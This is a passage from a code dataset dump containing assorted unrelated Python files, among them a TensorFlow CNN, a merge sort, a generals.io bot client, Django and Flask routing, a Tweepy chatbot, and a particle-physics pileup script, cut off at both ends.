[-1, 25 * word2vec_dimension * conv2_filter_number])\n q_add_a = tf.concat(1,[q_pool2_flat,a_pool2_flat])\n W_fc1 = weight_variable([25 * word2vec_dimension * conv2_filter_number*2, fc_1_w*conv2_filter_number])\n b_fc1 = bias_variable([fc_1_w*conv2_filter_number])\n mut_fc1 = tf.matmul(q_add_a, W_fc1) + b_fc1\n mut_fc1_drop = tf.nn.dropout(mut_fc1,keep_prob)\n h_fc1 = tf.nn.tanh(mut_fc1_drop)\n tf.summary.histogram('MLP_1/outputs', h_fc1)\n\n with tf.name_scope('MLP_2'):\n W_fc2 = weight_variable([fc_1_w*conv2_filter_number, fc_2_w * conv2_filter_number])\n b_fc2 = bias_variable([fc_2_w * conv2_filter_number])\n mut_fc2 = tf.matmul(h_fc1, W_fc2) + b_fc2\n mut_fc2_drop = tf.nn.dropout(mut_fc2, keep_prob)\n h_fc2 = tf.nn.tanh(mut_fc2_drop)\n tf.summary.histogram('MLP_2/outputs', h_fc2)\n\n with tf.name_scope('softmax'):\n W_fc3 = weight_variable([fc_2_w * conv2_filter_number, 2])\n b_fc3 = bias_variable([2])\n h_fc3 = tf.nn.softmax(tf.matmul(h_fc2, W_fc3) + b_fc3)\n tf.summary.histogram('softmax/outputs', h_fc3)\n return h_fc3\n\ndef loss(logits,labels):\n with tf.name_scope('loss'):\n loss = tf.reduce_mean(tf.reduce_sum(tf.square(labels - logits),\n reduction_indices=[1]))\n # loss = tf.reduce_mean(-tf.reduce_sum(labels * tf.log(logits),\n # reduction_indices=[1]))\n return loss\n\ndef training(loss, learning_rate):\n tf.summary.scalar('loss', loss)\n optimizer = tf.train.GradientDescentOptimizer(learning_rate)\n global_step = tf.Variable(0, name='global_step', trainable=False)\n with tf.name_scope('train'):\n train_op = optimizer.minimize(loss, global_step=global_step)\n return train_op\n\ndef evaluation(logits, labels):\n correct = tf.nn.in_top_k(logits, labels, 1)\n return tf.reduce_sum(tf.cast(correct, tf.int32))\n","sub_path":"nlpcc2017/cnn/conv_cnn_2_class2.py","file_name":"conv_cnn_2_class2.py","file_ext":"py","file_size_in_byte":4886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"641782940","text":"class Solution(object):\n\n def merge_sort(self, A):\n if len(A) > 1:\n mid = len(A)//2\n lefthalf = A[:mid]\n righthalf = A[mid:]\n\n self.merge_sort(lefthalf)\n self.merge_sort(righthalf)\n\n i, j, k = 0, 0, 0\n while i < len(lefthalf) and j < len(righthalf):\n if lefthalf[i] < righthalf[j]:\n A[k] = lefthalf[i]\n i += 1\n else:\n A[k] = righthalf[j]\n j += 1\n k += 1\n\n while i < len(lefthalf):\n A[k] = lefthalf[i]\n i += 1\n k += 1\n while j < len(righthalf):\n A[k] = righthalf[j]\n j += 1\n k += 1\n print(\"Merging \",A)\n\nA = [9, 11, 1, 90, -10, -90, 2]\nsol = Solution()\nsol.merge_sort(A)\n\n'''\nmerge_sort is O(nlogn) algo. we consecutively break the arrays into subparts until\nthe size is 1 or is sorted\n'''\n","sub_path":"Misc/sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"221606822","text":"'''\nWrite a function that computes the simple interest.\n\tPass the principal amount, the rate and the time as parameters to the function.\n'''\ndef simpleIntrest(p,r,t):\n simpleintrest = (p * r *t)/100\n return simpleintrest\n\n\nprincipleamount = float(input(\"Enter the Principal Amount in Rs: \"))\nrate_of_intrest = float(input(\"Enter the Rate of Interest: \"))\nTime_period = float(input(\"Enter the time period in Years: \"))\nprint(simpleIntrest(principleamount,rate_of_intrest,Time_period))\n","sub_path":"Section 4/5_Simpleintrest.py","file_name":"5_Simpleintrest.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"256708164","text":"'''\n @ Harris Christiansen (Harris@HarrisChristiansen.com)\n January 2016\n Generals.io Automated Client - https://github.com/harrischristiansen/generals-bot\n Generals Bot: Base Bot Class\n'''\n\nimport sys\nimport traceback\nimport logging\nimport os\nimport threading\nimport time\n\nfrom .client import generals\nfrom .client.map import MapBase\n\n\nclass GeneralsClientHost(object):\n def __init__(self, updateMethod, name=\"PurdueBot\", userId=None, gameType=\"private\", privateRoomID=\"PurdueBot\", public_server=False):\n # Save Config\n self._updateMethod = updateMethod\n self._name = name\n if userId is None:\n userId = \"efg\" + self._name\n self._userId = userId\n self._gameType = gameType\n self._privateRoomID = privateRoomID\n self._public_server = public_server\n\n # ----- Start Game -----\n\n self._running = True\n self._move_event = threading.Event()\n\n def run(self, additional_thread_methods: list):\n # Start Game Thread\n create_thread(self._start_game_thread)\n time.sleep(0.1)\n # Start Chat Message Thead\n create_thread(self._start_chat_thread)\n #time.sleep(0.2)\n # Start Game Move Thread\n create_thread(self._start_moves_thread)\n time.sleep(0.1)\n\n for method in additional_thread_methods:\n create_thread(method)\n time.sleep(0.1)\n\n while self._running:\n time.sleep(1.0)\n\n logging.info(f'No longer self._running=True in bot_base.py, exiting')\n time.sleep(1.0)\n # exit(0) # End Program\n\n ######################### Handle Updates From Server #########################\n \n def getLastCommand(self):\n return self._game.lastChatCommand\n\n def _start_game_thread(self):\n # Create Game\n if self._gameType in ['1v1', 'ffa', 'private']:\n self._game = generals.GeneralsClient(self._userId, self._name, self._gameType, gameid=self._privateRoomID, public_server=self._public_server)\n elif self._gameType == \"team\": # team\n self._game = generals.GeneralsClient(self._userId, self._name, 'team')\n\n logging.info(\"game start...?\")\n\n # Start Receiving Updates\n try:\n for update in self._game.get_updates():\n self._set_update(update)\n\n # Perform Make Move\n self._move_event.set()\n\n except ValueError: # Already in match, restart \n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n logging.info(''.join('!! ' + line for line in lines)) # Log it or whatever here\n \n logging.info(\"Exit: Already in queue in _start_update_loop\")\n self._running = False\n self._game._terminate()\n except:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n #logging.info(\"inf\") # Log it or whatever here\n #logging.info(''.join('!! ' + line for line in lines)) # Log it or whatever here\n #logging.info(\"warn\") # Log it or whatever here\n #logging.warning(''.join('!! ' + line for line in lines)) # Log it or whatever here\n logging.info(\"err\") # Log it or whatever here\n logging.error(''.join('!! ' + line for line in lines)) # Log it or whatever here\n self._running = False\n\n logging.info(\"crashed out of update loop, quitting\")\n # time.sleep(3)\n # exit(0) # End Program\n\n def _set_update(self, update):\n if update.complete:\n logging.info(\"!!!! Game Complete. Result = \" + str(update.result) + \" !!!!\")\n if '_moves_realized' in dir(self):\n logging.info(\"Moves: %d, Realized: %d\" % (self._update.turn, self._moves_realized))\n self._running = False\n # why was this sleep here?\n # time.sleep(2.0)\n logging.info(\"terminating in _set_update\")\n self._game._terminate()\n time.sleep(2.0)\n logging.info(\"os.exiting...?\")\n try:\n exit(0) # End Program\n except:\n logging.info(traceback.format_exc())\n return\n\n self._update = update\n\n ######################### Move Generation #########################\n\n def _start_moves_thread(self):\n self._moves_realized = 0\n while self._running:\n try:\n self._move_event.wait()\n self._move_event.clear()\n self._make_move()\n self._moves_realized += 1\n except:\n exc_type, exc_value, exc_traceback = sys.exc_info()\n lines = traceback.format_exception(exc_type, exc_value, exc_traceback)\n #logging.info(\"inf\") # Log it or whatever here\n #logging.info(''.join('!! ' + line for line in lines)) # Log it or whatever here\n #logging.info(\"warn\") # Log it or whatever here\n #logging.warning(''.join('!! ' + line for line in lines)) # Log it or whatever here\n logging.info(\"err\") # Log it or whatever here\n logging.error(''.join('!! ' + line for line in lines)) # Log it or whatever here\n\n def _make_move(self):\n self._updateMethod(self._update)\n\n\n ######################### Chat Messages #########################\n\n def _start_chat_thread(self):\n # Send Chat Messages\n try:\n while self._running:\n msg = str(input('Send Msg:'))\n self._game.send_chat(msg)\n time.sleep(0.7)\n except:\n pass\n\n return\n\n ######################### Tile Finding #########################\n\n def place_move(self, source, dest, move_half=False) -> bool:\n if self.validPosition(dest.x, dest.y):\n self._game.move(source.y, source.x, dest.y, dest.x, move_half)\n return True\n return False\n\n def validPosition(self, x, y):\n return 0 <= y < self._update.rows and 0 <= x < self._update.cols and self._update._tile_grid[y][x] != generals.map.TILE_MOUNTAIN\n\n def send_clear_moves(self):\n self._game.send_clear_moves()\n\n\n######################### Global Helpers #########################\n\ndef create_thread(f):\n t = threading.Thread(target=f)\n t.daemon = True\n t.start()\n","sub_path":"base/bot_base.py","file_name":"bot_base.py","file_ext":"py","file_size_in_byte":6536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"505412594","text":"from main.util.config import Config\nfrom flask import Flask, render_template, send_from_directory\nimport os\n#\napp = Flask(__name__, static_folder=\"build\", template_folder=\"build\")\n\n@app.route(\"/\")\ndef hello():\n return render_template('index.html')\n\n@app.route('/', defaults={'path': ''})\n@app.route('/')\ndef serve(path):\n if path.startswith('notes/'):\n path = path.replace(\"notes/\", \"\")\n if path != \"\" and os.path.exists(app.static_folder + '/' + path):\n return send_from_directory(app.static_folder, path)\n else:\n return render_template('index.html')\n\nif __name__ == '__main__':\n serverConfig = Config().get_object('server')\n app.run(host=serverConfig['host'], port=serverConfig['port'], debug=serverConfig['debug'])","sub_path":"mc-web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"435760807","text":"from django.urls import path\nfrom .import views\napp_name = 'store'\n\n\nurlpatterns = [\n path('', views.product_all,name= 'all_products'),\n path('item//', views.product_detail, name='product_detail'),\n # iteam/\n path('search//', views.category_list , name='category_list')\n ]\n\n ","sub_path":"ecom/store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"576474070","text":"from time import time\r\n\r\nstart = time()\r\n\r\ni = 10\r\ntotal = 0\r\n\r\nwhile i < 10**6:\r\n\tsum = 0\r\n\tfor j in range(0, len(str(i))):\r\n\t\tsum += int(str(i)[j])**5\r\n\tif sum == i:\r\n\t\ttotal += sum\r\n\t\tprint(i, sum)\r\n\t\tprint(total)\r\n\ti += 1\r\n\t\t\r\n\r\nend = time()\r\n\r\nprint(end - start)\r\n","sub_path":"Python/030_digit_fifth_powers.py","file_name":"030_digit_fifth_powers.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"249138840","text":"\nclass Config:\n\n\n\tdef __init__(self):\n\n\t\t#GAME CONFIG\n\t\tself.title = \"Lucky Test Game\"\n\t\tself.row = 5\n\t\tself.column = 5\n\n\n\t\t#WINDOW CONFIG\n\t\tbase = 100\n\t\tratio = 5\n\t\tself.width = ratio*base\n\t\tself.height = ratio*base\n\t\tself.side = base*ratio\n\t\tself.screen = f\"{self.side}x{self.side}+500+500\"\n\n\n\t\t#IMG PATH\n\t\tself.init_img = \"img/init_img.png\"\n\t\tself.final_img = \"img/final_img.png\"\n\t\tself.win_img = \"img/win_img.png\"\n\t\tself.dtw_img = \"img/final_img2.png\"\t\n\n\t\tself.app_title = \"My App\"\n\n\t\t#WINDOW_CONFIG\n\t\tbase = 100\n\t\tw_ratio = 3\n\t\th_ratio = 4\n\n\t\tself.logo_path = \"img/lock_image.jpg\"\n\t\tself.username = \"ADMIN\"\n\t\tself.password = \"12345\"\n\n\t\tself.music = \"mp3/song.wav\"","sub_path":"Project1/game/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"449825869","text":"import tkinter as tk\n\nHEIGHT = 400\nWIDTH = 600\n\nroot = tk.Tk()\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDTH)\nframe = tk.Frame(root, bg='#80c1ff')\nbutton = tk.Button(frame, text=\"Test Button\", bg=\"grey\", fg='black')\nlabel = tk.Label(frame, text='This is a label', bg=\"orange\")\nentry = tk.Entry(frame, bg=\"white\")\n\ncanvas.pack()\nframe.place(relx=0.1, rely=0.1, relwidth=0.8, relheight=0.8)\nbutton.place(relx=0, rely=0, relwidth=.25, relheight=.25)\nlabel.place(relx=0.25, rely=0, relwidth=.25, relheight=.25)\nentry.place(relx=.5, rely=0, relwidth=.5, relheight=.25)\n\nroot.mainloop()\n","sub_path":"src/FirstWindow.py","file_name":"FirstWindow.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"226366978","text":"from jqdatasdk import finance\nfrom jqdatasdk import *\nfrom datetime import datetime\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as dates\nfrom vnpy.analyze.util.data_source import DataSource\nfrom pandas.plotting import register_matplotlib_converters\n\nregister_matplotlib_converters()\n\nauth('15802720411', 'Mm123456789')\ndf_ = finance.run_query(query(\n finance.STK_ML_QUOTA\n).filter(\n finance.STK_ML_QUOTA.link_id.in_(('310001', '310002')),\n finance.STK_ML_QUOTA.day >= datetime(2019, 1, 1)\n).order_by(finance.STK_ML_QUOTA.day.asc()).limit(1000))\n'''\n310001\t沪股通\n310002\t深股通\n310003\t港股通(沪)\n310004\t港股通(深)\n'''\ndf = pd.DataFrame()\n\ndf1 = df_['buy_amount'].groupby(df_['day']).sum()\ndf2 = df_['sell_amount'].groupby(df_['day']).sum()\n\n# 北向资金流入流出\ndf = pd.merge(df1, df2, how='left', on='day')\ndf['change'] = df['buy_amount'] - df['sell_amount']\n\n# 获取大盘数据\nds = DataSource(mode='remote')\nds.save_bar_data('000001', 'XSHG', 50) # 补上数据库中不存在数据\ndf_close = ds.load_bar_data('000001', 'XSHG', start_date=datetime(df.index[0].year, df.index[0].month, df.index[0].day),\n end_data=datetime(df.index[-1].year, df.index[-1].month, df.index[-1].day))\ndf_close.set_index(['date'], inplace=True)\ndf = pd.concat([df, df_close['close']], axis=1)\n\nfig, ax = plt.subplots(figsize=(16, 9))\nax.bar(df.index, df['change'], label='BUY')\n\nvolumeMin = 0\nax1v = ax.twinx()\nax1v.plot(df.index, df.close, '#faac58', label='SZ Index')\n\nfor xtick in ax.get_xticklabels():\n xtick.set_rotation(50) # 旋转x轴\n\nax.legend()\nax1v.legend()\nplt.show()\n\nprint('总流入金额:%s亿' % df['change'].sum())\n","sub_path":"vnpy/analyze/data/market_data.py","file_name":"market_data.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"100031284","text":"import Fenetre\n\nfrom tkinter import *\nfrom tkinter.messagebox import *\nfrom tkinter.simpledialog import *\n\n# Boite dialogues : https://runestone.academy/runestone/books/published/thinkcspy/GUIandEventDrivenProgramming/02_standard_dialog_boxes.html\n\ndef afficheMessage(message):\n\tshowinfo(Fenetre.Titre, message)\n\ndef saisisEntier(message):\n\treturn saisisNombre(message, True)\n\ndef saisisFlottant(message):\n\treturn saisisNombre(message, False)\n\ndef saisisNombre(message, entier):\n\tsaisie = None\n\twhile (saisie == None):\n\t\tif (entier):\n\t\t\tsaisie = askinteger(Fenetre.Titre, message)\n\t\telse:\n\t\t\tsaisie = askfloat(Fenetre.Titre, message)\n\t\tif (saisie == None):\n\t\t\treponse = askyesno(Fenetre.Titre, \"Voulez-vous terminer le jeu ?\")\n\t\t\tif (reponse):\n\t\t\t\treturn None\n\treturn saisie\n","sub_path":"Dialogue.py","file_name":"Dialogue.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"21202753","text":"from collections import Counter\n\n\namino_acid_weight = {'G': 57, 'A': 71, 'S': 87, 'P': 97, 'V': 99, 'T': 101, 'C': 103, 'I': 113, 'L': 113, 'N': 114,\n 'D': 115, 'K': 128, 'Q': 128, 'E': 129, 'M': 131, 'H': 137, 'F': 147, 'R': 156, 'Y': 163, 'W': 186}\n\n\ndef get_peptide_mass(peptide):\n peptide_sum = 0\n for amino_acid in peptide:\n peptide_sum += amino_acid_weight[amino_acid]\n return peptide_sum\n\n\nwith open('rosalind_ba4f.txt') as file:\n peptide = file.readline().rstrip()\n experimental_spectrum = file.readline().rstrip().split(' ')\n experimental_spectrum = [int(mass) for mass in experimental_spectrum]\n\n\ndef get_score(peptide, experimental_spectrum):\n peptide_len = len(peptide)\n theoreticalSpectrum = [0]\n for currentLen in range(1, peptide_len + 1):\n for i in range(peptide_len):\n endIndex = i + currentLen\n remaining = 0 \n if endIndex > peptide_len:\n remaining = endIndex - peptide_len\n currentPeptide = peptide[i:endIndex] + peptide[0:remaining]\n theoreticalSpectrum.append(get_peptide_mass(currentPeptide))\n if currentLen == peptide_len:\n break \n\n theoreticalSpectrum = sorted(theoreticalSpectrum)\n experimental_spectrum_counter = Counter(experimental_spectrum)\n theoretical_spectrum_counter = Counter(theoreticalSpectrum)\n score = 0\n for item in experimental_spectrum_counter:\n current_count = theoretical_spectrum_counter.get(item)\n if current_count is not None:\n score += min(current_count, experimental_spectrum_counter.get(item))\n return score\n\n\nscore = get_score(peptide, experimental_spectrum)\nprint(score)\nwith open('output.txt', 'w') as file:\n file.write(str(score))\n","sub_path":"lab day 6/1. Compute the Score of a Cyclic Peptide Against a Spectrum.py","file_name":"1. Compute the Score of a Cyclic Peptide Against a Spectrum.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"650802560","text":"from django.conf.urls import patterns, include, url\nfrom wikiapp.views import *\nfrom wikiapp.views_articulos import *\nfrom wikiapp.views_categorias import *\nfrom wikiapp.views_imagenes import *\nfrom usuario.views import *\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\nfrom wiki import settings\n\nurlpatterns = patterns('',\n # Examples:\n url(r'^admin/', include(admin.site.urls)),\n##media\n (r'^media/(?P.*)$', 'django.views.static.serve',{'document_root':settings.MEDIA_ROOT}),\n (r'^static/(?P.*)$', 'django.views.static.serve',{'document_root':settings.STATIC_ROOT}),\n##editar\n url(r'^editar/articulo/([A-Za-z0-9_-]*)/?$', editar_articulo , name='editar_articulo'),\n url(r'^editar/categoria/([A-Za-z0-9_-]*)/?$', editar_categoria , name='editar_categoria'),\n url(r'^editar/imagen/([A-Za-z0-9_-]*)/?$', editar_imagen , name='editar_imagen'),\n##crear\n url(r'^crear/articulo/?$', editar_articulo , name='crear_articulo'),\n url(r'^crear/categoria/?$', editar_categoria , name='crear_categoria'),\n url(r'^crear/imagen/?$', editar_imagen , name='crear_imagen'),\n##instancias\n url(r'^instancia/articulo/(\\d*)/?$', articulo_instancia , name='articulo_instancia'),\n url(r'^instancia/categoria/(\\d*)/?$', categoria_instancia , name='categoria_instancia'),\n url(r'^instancia/imagen/(\\d*)/?$', imagen_instancia , name='imagen_instancia'),\n##ver\n url(r'^articulo/([A-Za-z0-9_-]*)/historial/?$', articulo_historial , name='articulo_historial'),\n url(r'^articulo/([A-Za-z0-9_-]*)/comentarios/?$', articulo_comentarios , name='articulo_comentarios'),\n url(r'^articulo/([A-Za-z0-9_-]*)/?$', articulo , name='articulo'),\n url(r'^categoria/([A-Za-z0-9_-]*)/historial/?$', categoria_historial , name='categoria_historial'),\n url(r'^categoria/([A-Za-z0-9_-]*)/comentarios/?$', categoria_comentarios , name='categoria_comentarios'),\n url(r'^categoria/([A-Za-z0-9_-]*)/recientes/?$', categoria_recientes , name='categoria_recientes'),\n url(r'^categoria/([A-Za-z0-9_-]*)/?$', categoria , name='categoria'),\n url(r'^imagen/([A-Za-z0-9_-]*)/historial/?$', imagen_historial , name='imagen_historial'),\n url(r'^imagen/([A-Za-z0-9_-]*)/comentarios/?$', imagen_comentarios , name='imagen_comentarios'),\n url(r'^imagen/([A-Za-z0-9_-]*)/?$', imagen , name='imagen'),\n##sidebar\n url(r'^sidebar/(\\d*)/?$', sidebar , name='sidebar_editar'),\n url(r'^sidebar/?$', sidebar , name='sidebar_crear'),\n##usuario\n url(r'^login/?$', logear , name='loguear'),\n url(r'^salir/?$', salir , name='salir'),\n##main\n url(r'^categorias/?$', home_categorias , name='home_categorias'),\n url(r'^/?$', home , name='home'),\n)\n","sub_path":"wiki/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"547329281","text":"from etl.Extractors.UnfilledApptsExtractor import UnfilledApptsExtractor\nfrom tests.utils.MockHandshakeNavigator import MockNavigator\nimport unittest\nimport csv\nimport os\n\n\n\nclass TestUnfilledApptsExtractorWithMock(unittest.TestCase):\n\n def setUp(self):\n self.file_path = 'test_file.csv'\n self.mock_navigator = MockNavigator(self.file_path)\n self.extractor = UnfilledApptsExtractor()\n self.test_data = [{'header1': 'data', 'header2': '12345'},\n {'header1': 'atad', 'header2': '54321'},\n {'header1': 'ajkllsakj', 'header2': '927348'}]\n keys = self.test_data[0].keys()\n with open(self.file_path, 'w') as output_file:\n dict_writer = csv.DictWriter(output_file, keys, lineterminator='\\n')\n dict_writer.writeheader()\n dict_writer.writerows(self.test_data)\n\n def test_extract_extracts_data_from_downloaded_file(self):\n actual = self.extractor.extract(self.mock_navigator, 'start_date', 'end_date')\n expected = self.test_data\n self.assertEqual(expected, actual)\n\n def test_extract_deletes_downloaded_file_after_extract(self):\n self.assertTrue(os.path.exists(self.file_path))\n self.extractor.extract(self.mock_navigator, 'start_date', 'end_date')\n self.assertFalse(os.path.exists(self.file_path))","sub_path":"tests/etl_tests/extractor_tests/test_UnfilledApptsExtractor.py","file_name":"test_UnfilledApptsExtractor.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"648341811","text":"import nltk\n# from nltk.corpus import stopwords\nfrom langdetect import detect\nfrom langdetect import lang_detect_exception\nimport numpy as np\nimport random\nimport string # to process standard python strings\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport key\nimport tweepy\nimport time\nimport unicodedata, re\nimport emoji\n# import os\n\nSLEEPTIME = 60*15\nNUM_TWEETS = 50\nTOTAL_TWEETS = 1000\nALL_DATA = '.\\\\cachedData\\\\OldSet.txt'\nCURRENT_SET = '.\\\\cachedData\\\\currentSet.txt'\nUSED_SET = ALL_DATA\nRUN_BOT = True\nCOLLECT_DATA = True\n\nconsumer_key = key.consumer_key\nconsumer_secret = key.consumer_secret\naccess_token = key.access_token\naccess_secret = key.access_secret\nauth = tweepy.OAuthHandler(consumer_key,consumer_secret)\nauth.set_access_token(access_token,access_secret)\napi = tweepy.API(auth)\n\n\n# nltk.download('stopwords')\nnltk.download('punkt') # first-time use only\nnltk.download('wordnet') # first-time use only\n# nltk.download('words')\nGREETING_INPUTS = (\"hello\", \"hi\", \"greetings\", \"sup\", \"what's up\",\"hey\",)\nGREETING_RESPONSES = [\"hi\", \"hey\", \"*nods*\", \"hi there\", \"hello\", \"I am glad! You are talking to me\"]\nremove_punct_dict = dict((ord(punct), None) for punct in string.punctuation)\n# stop = stopwords.words('english') + list(string.punctuation)\n\ndef limit_handled(cursor):\n\twhile True:\n\t\ttry:\n\t\t\tyield cursor.next()\n\t\texcept tweepy.RateLimitError:\n\t\t\tprint(\"RATE ERROR 15 Minute Break\")\n\t\t\ttime.sleep(SLEEPTIME)\n\t\t\tcontinue\n\t\texcept tweepy.TweepError:\n\t\t\tprint(\"TWEEP ERROR\")\n\t\t\t# print(\"RATE ERROR 15 Minute Break\")\n\t\t\t# time.sleep(SLEEPTIME)\n\t\t\tbreak\n\t\texcept StopIteration:\n\t\t\tbreak\n\ndef get_follower_tweets():\n\tcount = 0\n\twith open(ALL_DATA,'a',encoding='utf-8-sig') as f:\n\t\twith open(CURRENT_SET,'w',encoding='utf-8-sig') as f2:\n\t\t\taccountvar = 'dog_feelings'\n\t\t\twhile count <= TOTAL_TWEETS:\n\t\t\t\tfor status in limit_handled(tweepy.Cursor(api.user_timeline,\n\t\t\t\t\tscreen_name=accountvar,count=NUM_TWEETS,tweet_mode=\"extended\").items()):\t\t\t\t\n\t\t\t\t\tstat = \"\"\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif status.retweeted_status:\n\t\t\t\t\t\t\tstat = status.retweeted_status.full_text\n\t\t\t\t\texcept:\n\t\t\t\t\t\tstat = status.full_text\n\t\t\t\t\te_str = emoji.emojize(stat)\n\t\t\t\t\tfiltered_string = re.sub(r\"http\\S+\", \"\", e_str)\n\t\t\t\t\teng_tweet = re.sub(r\"@\", \"\", filtered_string)\n\t\t\t\t\teng_tweet = re.sub(r\"#\", \"\", eng_tweet)\n\t\t\t\t\teng_tweet = re.sub(\"\\.\", \"\", eng_tweet)\n\t\t\t\t\teng_tweet = eng_tweet + \".\"\n\t\t\t\t\ttry:\n\t\t\t\t\t\tif len(eng_tweet.split()) > 5:\n\t\t\t\t\t\t\tif detect(eng_tweet) == 'en':\n\t\t\t\t\t\t\t\tf.write(eng_tweet + \"\\n\\n\")\n\t\t\t\t\t\t\t\tf2.write(eng_tweet + \"\\n\\n\")\n\t\t\t\t\texcept lang_detect_exception.LangDetectException:\n\t\t\t\t\t\tcontinue\n\t\t\t\tcount += NUM_TWEETS\n\t\t\t\tprint(\"Tweets Collected = \" + str(count))\n\t# os.startfile('test.htm')\n\ndef LemTokens(tokens):\n\treturn [lemmer.lemmatize(token) for token in tokens]\ndef LemNormalize(text):\n\treturn LemTokens(nltk.word_tokenize(text.lower().translate(remove_punct_dict)))\ndef greeting(sentence):\n\tfor word in sentence.split():\n\t\tif word.lower() in GREETING_INPUTS:\n\t\t\treturn random.choice(GREETING_RESPONSES)\n\ndef response(user_response):\n\trobo_response=''\n\tsent_tokens.append(user_response)\n\tTfidfVec = TfidfVectorizer(tokenizer=LemNormalize, stop_words='english')\n\ttfidf = TfidfVec.fit_transform(sent_tokens)\n\tvals = cosine_similarity(tfidf[-1], tfidf)\n\tidx=vals.argsort()[0][-2]\n\tflat = vals.flatten()\n\tflat.sort()\n\treq_tfidf = flat[-2]\n\tif(req_tfidf==0):\n\t\trobo_response=robo_response+\"I am sorry! I don't understand you\"\n\t\treturn robo_response\n\telse:\n\t\trobo_response = robo_response+sent_tokens[idx]\n\t\treturn robo_response\n\n\nif COLLECT_DATA:\n\tget_follower_tweets()\nf=open(USED_SET,'r',errors = 'ignore')\nraw=f.read()\nraw=raw.lower()# converts to lowercase\nraw = re.sub(r\"@\", \"\", raw)\nraw = re.sub(r\"#\", \"\", raw)\nwords = set(nltk.corpus.words.words())\nraw = \" \".join(w for w in nltk.wordpunct_tokenize(raw) \\\n\t if w.lower() in words or not w.isalpha()) \nsent_tokens = nltk.sent_tokenize(raw)# converts to list of sentences \nword_tokens = nltk.word_tokenize(raw)# converts to list of words\n\nlemmer = nltk.stem.WordNetLemmatizer()\n#WordNet is a semantically-oriented dictionary of English included in NLTK.\n\nflag=RUN_BOT\nprint(\"ROBO: My name is Robo. I will answer your queries about Chatbots. If you want to exit, type Bye!\")\nwhile(flag==True):\n\tuser_response = input()\n\tuser_response=user_response.lower()\n\tif(user_response!='bye'):\n\t\tif(user_response=='thanks' or user_response=='thank you' ):\n\t\t\tflag=False\n\t\t\tprint(\"ROBO: You are welcome..\")\n\t\telif user_response == \"\":\n\t\t\tprint(\"\\n\")\n\t\telse:\n\t\t\tif(greeting(user_response)!=None):\n\t\t\t\tprint(\"ROBO: \"+greeting(user_response))\n\t\t\telse:\n\t\t\t\tprint(\"ROBO: \",end=\"\")\n\t\t\t\tprint(response(user_response))\n\t\t\t\tsent_tokens.remove(user_response)\n\telse:\n\t\tflag=False\n\t\tprint(\"ROBO: Bye! take care..\")\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"278193330","text":"\nimport os\nimport array\nimport glob\nimport math\nimport ROOT\nimport sys\nfrom array import *\nfrom ROOT import *\n\nleg = TLegend(0.5, 0.5, 0.84, 0.84)\nleg.SetFillColor(0)\nleg.SetBorderSize(0)\n\nROOT.gROOT.Macro(\"rootlogon.C\")\nfdata = ROOT.TFile(\"Pileup64900.root\")\nfdataup = ROOT.TFile(\"Pileup72900.root\")\nfdataalt = ROOT.TFile(\"MyDataPileupHistogram.root\")\nfttbar = ROOT.TFile(\"ttbarPU.root\")\n\n\noutput = ROOT.TFile( \"PileUp_Ratio_ttbar.root\", \"recreate\" )\n\noutput.cd()\n\n# Get numerators and denominators for each eta region\n\nndata = fdata.Get(\"pileup\")\nndataup = fdataup.Get(\"pileup\")\n\nndata.Sumw2()\nndataup.Sumw2()\n\nndata.Scale(1./ndata.Integral())\nndataup.Scale(1./ndataup.Integral())\n\nndataalt = fdataalt.Get(\"pileup\")\n\nndataalt.Sumw2()\n\nndataalt.Scale(1./ndataalt.Integral())\n\ndttbar = fttbar.Get(\"npvrealtrue\")\ndttbar.Scale(1./dttbar.Integral())\n\ndttbaralt = fttbar.Get(\"npvrealtruealt\")\ndttbaralt.Scale(1./dttbaralt.Integral())\n\nttbar_pileup_reweight = ndata.Clone(\"Pileup_Ratio\")\nttbar_pileup_reweight.Divide(dttbar)\n\nttbar_pileup_reweightalt = 